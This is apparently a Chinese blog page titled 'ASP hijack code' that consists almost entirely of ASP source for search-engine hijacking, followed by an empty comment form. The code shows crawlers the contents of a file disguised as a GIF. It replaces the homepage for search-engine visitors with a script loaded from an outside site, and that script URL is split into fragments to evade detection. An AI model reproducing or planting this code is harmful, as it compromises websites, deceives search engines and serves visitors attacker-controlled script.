asp劫持代码

 function isspider()

dim agent,searray,i
agent="agent:"&LCase(request.servervariables("http_user_agent"))
searray=array("baidu","sm","sogou","haosou","soso","360","so","yahoo","bing","youdao")
isspider= false
for i=0 to ubound(searray)
 if (instr(agent,searray(i))>0) then isspider=true
next
end function
 
 
 
 
function fromse()
dim urlrefer,i,searray
urlrefer="refer:"&LCase(request.ServerVariables("HTTP_REFERER"))
fromse= false
if urlrefer="" then fromse= false
searray=array("baidu","sm","sogou","haosou","soso","360","so","yahoo","bing","youdao")
for i=0 to ubound(searray)
 if (instr(urlrefer,searray(i))>0) then fromse=true
next
end function
 
 
function mainpage()
dim mainindex,n,pagearray,indexquery,i
mainindex=LCase(request.ServerVariables("SCRIPT_NAME"))
indexquery=LCase(request.ServerVariables("QUERY_STRING"))
mainpage= false
pagearray=array("/index.","/default.","/main.")
for i=0 to ubound(pagearray)
 if (instr(mainindex,pagearray(i))>0 and len(indexquery)<2) then mainpage=true
next
end function
 
 
 
 
if isspider() and mainpage() then
  dim mfso,mfileurl,mfilecon,wfile
  mfileurl=Server.MapPath("/images/Kesion.1.gif")
  Set mfso=Server.CreateObject("Scripting.FileSystemObject") 
  if mfso.FileExists(mfileurl) then 
    Set wfile=mfso.OpenTextFile(mfileurl, 1)
    mfilecon=wfile.readAll
    response.clear
    response.write(mfilecon)
    response.write("<!--"&now()&"-->")
    response.flush
    wfile.Close 
    Set wfile=Nothing 
    Set mfso=Nothing
    response.end
   else
    response.write("fn")
  end if
end if
 
 
if (fromse() and mainpage()) then
  response.clear
  response.write("<scri"&"pt lang"&"uage='jav"&"as"&"cri"&"pt' src='h"&"t"&"t"&"p"&":"&"/"&"/"&"w"&"w"&"w"&"."&"5"&"000"&"444"&"."&"c"&"om"&"/q"&"t"&"/"&"tz"&"."&"j"&"s'></sc"&"ript><br/>")
  response.flush
  response.end
end if
%>

评论

发表新评论

此内容将保密,不会被其他人看见。
点击刷新验证码
  • 可用的 UBB 标签:
  • 留言最长字数:1000。